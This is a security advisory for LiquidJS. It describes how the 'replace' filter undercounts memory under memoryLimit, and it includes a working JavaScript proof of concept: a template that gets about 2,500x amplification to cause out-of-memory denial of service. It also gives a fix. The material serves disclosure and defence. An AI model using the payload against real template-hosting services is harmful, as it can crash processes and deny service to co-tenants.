LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter

## Summary The `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. ## Details The vulnerable code is in `src/filters/string.ts:137-142`: ```typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output return str.split(pattern).join(replacement) // actual output can be quadratically larger } ``` The `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size: ``` (number_of_occurrences * replacement.length) + non_matching_characters ``` When every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter. The `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated. The `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input. ## PoC ```javascript const { Liquid } = require('liquidjs'); // User explicitly enables memoryLimit for DoS protection (10MB) const engine = new Liquid({ memoryLimit: 1e7 }); const inputLen = 5000; const aStr = 'a'.repeat(inputLen); const bStr = 'b'.repeat(inputLen); // Template that should be blocked by 10MB memory limit const tpl = engine.parse( `{%- assign s = "${aStr}" -%}` + `{%- assign r = "${bStr}" -%}` + `{{ s | replace: "a", r }}` ); // This should throw "memory alloc limit exceeded" but succeeds const result = engine.renderSync(tpl); console.log('Memory limit: 10,000,000 bytes'); console.log('Memory charged:', 10001, 'bytes'); console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes console.log('Amplification:', Math.round(result.length / 10001) + 'x'); // Output: Amplification: 2500x — completely bypasses the 10MB limit ``` ## Impact Users who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing: - Node.js process out-of-memory crashes - Denial of service for co-tenant users on the same process - Resource exhaustion on the hosting infrastructure The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access. ## Recommended Fix Account for the actual output size in the memory limiter by calculating the number of occurrences: ```typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) const parts = str.split(pattern) const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length) this.context.memoryLimit.use(outputSize) return parts.join(replacement) } ``` This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.

Quoted source text, attributed separately from HOL analysis.